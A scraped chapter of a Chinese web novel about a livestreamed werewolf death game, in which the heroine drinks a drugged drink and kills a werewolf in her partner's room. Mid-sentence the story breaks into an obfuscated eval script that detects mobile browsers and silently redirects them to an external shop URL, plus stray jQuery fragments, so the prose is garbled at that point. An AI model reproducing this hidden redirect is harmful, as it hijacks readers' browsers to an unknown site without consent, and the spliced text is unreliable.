32. 第 32 章
    食堂中的时间似乎不再流动。

    不知过了多久,安惜年收起短剑,白亿开口:“为什么这样说?”

    精灵暗自松了一口气,解释起来:“嗯……你们是同一阵营的情况下,最有趣的设定是你们其中一个人是天鹅。狼人那里的观众,会对‘杀一个死三人’的场面很感兴趣。”

    精灵说得对。

    经历过第一夜,隔天早晨,存活下来的人发现昨晚死的人居然有三个。到时候那些人脸上的表情,安惜年本人都想看看,更不用说热衷追求刺激的这群观众了。

    其实,安惜年已经能从她的直播间反应中,得到足够的反馈。

    [直播间多数用户希望你和对方增加互动。]

    [直播间大部分用户在讨论今夜死者的身份。]

    [直播间互动数达到峰值。]

    所以,这次的狼人杀,按照纯逻辑来盘显然不可操作。她还需要考虑的是观众的心理,以及观众对其他攻略者下达的指示。

    想法快速略过脑海,安惜年打量精灵。

    对方不愧是能参加B级任务的人。即使看上去胆子小得很,但讲话条理清晰,敢于发表自己的意见,同时脑子转得也快,能猜中白亿的身份。

    如果精灵是狼人,可能不太好办。

    安惜年对精灵点头致谢,转身离开食堂,继续调查。

    可惜整个下午,他们一无所获。

    很快,食堂响起了整个建筑内都能听到的铃声。

    食堂先前开辟过凹槽的墙,此时凹槽内部不再是实体墙面,而是在里面摆放着各种各样的餐食。原本空无一物的地方也升起了桌椅。

    众人来到食堂集合,嘴上全部说着什么都没有找到。

    在一个连队友都不能完全信任的游戏中,所有人都没有轻举妄动。

    安惜年不参与他们的讨论,取过自己和白亿的晚餐,先快速吃过自己那份,再喂没长人手的小老虎。

    两人都吃饱后,找到一间没人的娱乐室,关起门开始谈论。

    B级任务的流量大,安惜年必须谨慎行事,不能总是和白亿进行心音交流,否则极容易被观众看出端倪。

    她拿出设备,把吃饭时忽然的灵光一现写下:“这次组队,系统会选择这种方式,是为了天鹅。”

    在观众面前,安惜年装作还不知道白亿的身份。

    白亿开了一包爆米花,推到安惜年手边让人家喂,伸脖子往前够了够,也开始装蒜:“天鹅?”

    安惜年把爆米花塞到白亿嘴里:“第一夜之前,只有两个天鹅互相知道身份。所以系统把组队环节拖到天鹅互相知道身份之后,还提前在屏幕显示出每个人的标号,是在企图让天鹅组队。”

    “哦……”白亿似乎明白了,“而系统这样做,是为了让两个天鹅露出破绽,这样狼人就可以确定天鹅的身份,在第一夜就能直接杀掉两票。”

    安惜年:“就是这样。”

    同时,她传递心音:【还好吸血鬼没有轻举妄动,她提议天鹅爆出身份,估计也是为了炸出狼人或摆脱自己是天鹅嫌疑。】

    停顿片刻,她继续写到:“狼人现在最怀疑的天鹅人选,估计在重选搭档的那四个人里。”

    正因如此,第一夜狼人选择的对象很关键,可以看出狼人集团的倾向。

    如果选择她或者白亿,那狼人就是在用他们固定搭档的身份吸睛,能看出狼人们可能激进且极其乐意讨好观众。

    如果选择的是重组的四人,狼人集团的性格则应该偏向保守。

    掌握了性格倾向,找出狼人也许就会简单些。

    但同时也不能松懈于识别怪异。

    安惜年无声叹息,和白亿有一搭没一搭地聊过了自由活动时间。

    为了不让玩家错过重要时间,每个娱乐室里都装了时钟。两人卡在夜晚时限前四十分钟离开二楼,往各自的房间走去。

    回房间的路上,安惜年忽然发现走廊墙上也出现了许多时钟,每个之间只相隔两三米,各式各样,诡异至极。

    多个时钟的秒针走针声有节奏地齐齐响起,安惜年像是得了它们的暗示,脚步声逐渐与走针声重合。

    大脑变得一片空白,什么想法都无法浮现,身体像是定好了程序的机械,按照时间的指引不断向前。

    某一瞬间,安惜年身体骤然一顿。

    她的双眼总算聚焦,眼前的房间门距离她的鼻尖只有几毫米,呼吸打到门板上又反馈给她的毛孔。

    安惜年深呼吸一次,转头看向距离最近的时钟,现在距离夜晚强制回房间的十点还有不到十分钟。

    身体往侧让去,安惜年手握侧边的门把手。

    按照介绍,这里应该是她对应可以使用的卫生间。

    和最初不同,这次安惜年轻轻一拧,卫生间的门响起金属对位的声音,应声而开。

    卫生间的面积是房间的一半,有淋浴花洒、水池、镜子和马桶。

    不到十分钟的时间,安惜年做不到仔细搜查,只能大致确认所有东西都能正常使用,简单洗漱过后,卡在最后五分钟的时限回到房间。

    安惜年没忘记要在十点之前换上套装,刚进房间就立刻打开床头柜拿出灰色的衣裤。

    好在穿着方法并不复杂,安惜年动作迅速,换下自己的衣服又穿戴整齐。

    由于套装没有提供鞋子,安惜年只能把自己的靴子再穿上。

    随后,她快速来到桌前,拿起不知什么时候被放进来的“安神饮品”,甚至没时间细致观察,直接仰头一饮而尽。

    走廊忽然传来几十个时钟的闹铃声和报时声,在最后一声响动消失后,安惜年立刻听到大量火焰喷出的声音。

    内侧的门板浮现出血色数字“1”。

    安惜年来到门边。

    房间门上下的缝隙极小,她几乎看不到走廊里此时的情况,走进却能感受到门对面传来阵阵热度,几乎要隔空灼伤她的皮肤。

    她的抗性点数已经加到了79级,之前在影子别墅的火海里尚且没有这么难耐的反应,她几乎想象不出门外是怎样的场面。

    没能在规定时间进入房间的人,原来是要以这种方式被抹除掉。

    安惜年迷迷糊糊地想着,头脑愈发昏沉。

    她到底喝进去了什么?

    安惜年仍然持续思考。

    她的抗性分明已经比较高了,为什么没办法抵御这股昏迷般的睡意?

    她强撑最后一丝清明,拿起短剑握在手中,跌跌撞撞地把自己丢进床铺,尽力翻身仰面向上,沉入无意识的黑暗。

    时间似乎只过去一秒,安惜年倏地惊醒,身体反射性地霎时坐起。

    胸口传来开膛般的剧痛,随之鼻腔后知后觉地闻到浓重血腥味。

    固定搭档共享致命伤,是白亿出意外了。

    她没时间低头确认自己的身体,指尖在空中快速滑动几下,下一瞬间,身影在原地凭空消失。

    安惜年迅速沉入黑暗,床铺

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14033388|145596||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    上的阴影缩小。

    两声急速的心跳过后,安惜年眼前脱去暗色。

    光明乍现的瞬间,纯黑短剑被悬空反手握住,手臂向前划出一个大幅度的圆。

    剑尖传来擦过金属的声音,走到最末端时,被安惜年用另一只手掌根抵住,往前猛地送去。

    短剑前方没能传来刺入的触感。

    对方立刻与安惜年拉开距离,脱离安惜年的攻击范围。

    她维持蹲姿,从靴筒里抽出一把手枪。

    倒转枪体,上膛,瞄准,扣动扳机。

    砰。

    漆黑的子弹却被对方身体覆盖的金属防护弹开。

    两件武器都无法伤及对方。

    安惜年收枪,跃身,双手撑住床铺,双腿绞上其中一个狼人的脖颈。

    动作间,数滴血铺散在床上,又随她翻转蹬上狼人肩膀的动作,在半空甩出几道弧线。

    距离极近,她几乎能听到狼人在她身下恐惧且激烈的呼吸,仿佛被逼入绝境的野兽。

    安惜年小腿穿过狼人腋下,在其背后交叉扣紧,一手扯住狼面上的灰毛让其颈线拉长,另一手臂从前方死勒狼人脖子,背部向后最大程度仰倒,肌肉绷紧。

    人类用全身锁扣两米狼人的脖子。

    臂弯里的金属传来挤压的动静。

    随后是血肉在金属防护内部的黏腻响动。

    安惜年紧咬牙仰头,颈部青筋根根暴起,皮肤渗出细汗。

    她的眼神却如深海一样平静。

    此时,她位于这个房间的最高点,垂眸睨视另外两个动作僵硬的狼人,眼里出现了些许最纯粹的疑惑。

    为什么害怕和惊讶?

    猎场管家分明说过。

    狼人的猎场中,猎手不只有狼人。

    从安惜年出现在这个房间到她锁住狼人之一的脖子,整个过程不过十秒。

    另外两个狼人这时终于反应过来,一人举起的武器向安惜年逼近,另一人端起枪瞄准安惜年。

    他们却双双在某一时刻停下了自己的动作。

    两人对视一眼,无视安惜年身下这个狼人尽力挤出的呜咽求助,迅速退出了白亿的房间。

    砰。

    房门被他们关上,侧边红光一闪,完全落锁。

    安惜年胸膛传来血肉撕裂的声音,先前凭空出现的伤口渗出殷红,血蔓延到身下的狼面上,从狼面的额头一路经过眼角和鼻侧,流进嘴缝。

    对方开始激烈甩动身体,却低估了安惜年的力量,白白耗费着自己的体力。

    某一瞬,狼人忽然重心不稳,跪倒在地。

    安惜年立刻借下坠的冲力,以手肘击向对方的颈侧。

    狼面落地,金属碎裂,硬骨折断。

    狼人毫无声息地躺在地上,身上满是安惜年的血。

    鲜血的主人起身,身体晃动两下才稳住重心。

    这时她才明白另外两个狼人为什么会离开。

    狼人不被允许自刀,但没规定提过“狼人不可以被杀死”。

    一夜只需要一个死者。

    第一夜的死者,就是这个狼人。

    观众更喜欢看这种情节,所以命令另外两个狼人出去。

    安惜年剧烈喘息,胸口痛感上涌。

    她的视线移到狼人身上,刚想靠近摘掉对方的狼面,耳边忽然听到“滴滴”的声音。

    她立刻后退到房间的角落,滴声响到第六下时,视野里的狼人头部猛地炸开。